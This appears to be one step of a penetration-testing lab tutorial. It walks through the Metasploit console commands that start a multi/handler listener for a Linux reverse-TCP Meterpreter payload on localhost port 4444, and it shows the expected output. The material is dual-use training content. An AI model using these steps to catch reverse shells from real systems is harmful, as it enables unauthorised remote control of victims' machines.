Setting Up a Meterpreter Listener
In this final step, you will learn to set up a listener for a Meterpreter payload. Meterpreter is an advanced, feature-rich payload that provides an interactive shell on the target system. Instead of launching an exploit, you will use the exploit/multi/handler module to listen for incoming connections. This is useful when an exploit is delivered through other means (e.g., a malicious file) and you need to catch the reverse connection.
First, switch to the multi/handler module.
use exploit/multi/handler
Your prompt will change to reflect the new module.
msf6 exploit(multi/handler) >
Next, set a Meterpreter payload. We will use one designed for Linux systems. The payload name linux/x86/meterpreter/reverse_tcp follows a logical structure: <platform>/<architecture>/<type>/<protocol>. It specifies a Linux platform, x86 architecture, a Meterpreter payload type, and a reverse TCP connection protocol.
set payload linux/x86/meterpreter/reverse_tcp
Now, configure the listener options, LHOST and LPORT, just as you did before.
set LHOST 127.0.0.1
Note: You may see a warning message about binding to a loopback address. This is normal when using localhost (127.0.0.1) and can be safely ignored for this lab.
set LPORT 4444
Finally, start the listener using the exploit command.
exploit
Metasploit will start a listener on the specified IP and port, waiting for a Meterpreter session to connect.
[*] Started reverse TCP handler on 127.0.0.1:4444
The console will remain active, waiting for a connection. In a real scenario, if a target machine executed the corresponding Meterpreter payload, a session would be established here. Since no target will connect in this lab, you can stop the listener by pressing Ctrl + C.
To exit the Metasploit console, type exit and press Enter.